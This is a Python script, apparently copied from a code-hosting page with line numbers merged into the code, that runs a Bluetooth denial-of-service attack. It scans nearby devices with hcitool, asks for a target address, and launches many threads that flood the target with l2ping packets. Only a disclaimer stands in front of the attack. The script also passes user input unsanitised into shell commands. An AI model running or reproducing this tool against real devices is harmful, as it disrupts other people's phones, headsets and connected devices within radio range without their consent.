Path: blob/master/Bluetooth-DOS-Attack.py
665 views
import os1import threading2import time3import subprocess4def DOS(target_addr, packages_size):5os.system('l2ping -i hci0 -s ' + str(packages_size) +' -f ' + target_addr)67def printLogo():8print(' Bluetooth DOS Script ')9def main():10printLogo()11time.sleep(0.1)12print('')13print('\x1b[31mTHIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.')14if (input("Do you agree? (y/n) > ") in ['y', 'Y']):15time.sleep(0.1)16os.system('clear')17printLogo()18print('')19print("Scanning ...")20output = subprocess.check_output("hcitool scan", shell=True, stderr=subprocess.STDOUT, text=True)21lines = output.splitlines()22id = 023del lines[0]24array = []25print("|id | mac_addres | device_name|")26for line in lines:27info = line.split()28mac = info[0]29array.append(mac)30print(f"|{id} | {mac} | {''.join(info[1:])}|")31id = id + 132target_id = input('Target id or mac > ')33try:34target_addr = array[int(target_id)]35except:36target_addr = target_id373839if len(target_addr) < 1:40print('[!] ERROR: Target addr is missing')41exit(0)4243try:44packages_size = int(input('Packages size > '))45except:46print('[!] ERROR: Packages size must be an integer')47exit(0)48try:49threads_count = int(input('Threads count > '))50except:51print('[!] ERROR: Threads count must be an integer')52exit(0)53print('')54os.system('clear')5556print("\x1b[31m[*] Starting DOS attack in 3 seconds...")5758for i in range(0, 3):59print('[*] ' + str(3 - i))60time.sleep(1)61os.system('clear')62print('[*] Building threads...\n')6364for i in range(0, threads_count):65print('[*] Built thread №' + str(i + 1))66threading.Thread(target=DOS, args=[str(target_addr), str(packages_size)]).start()6768print('[*] Built all threads...')69print('[*] Starting...')70else:71print('Bip bip')72exit(0)7374if __name__ == '__main__':75try:76os.system('clear')77main()78except KeyboardInterrupt:79time.sleep(0.1)80print('\n[*] Aborted')81exit(0)82except Exception as e:83time.sleep(0.1)84print('[!] ERROR: ' + str(e))858687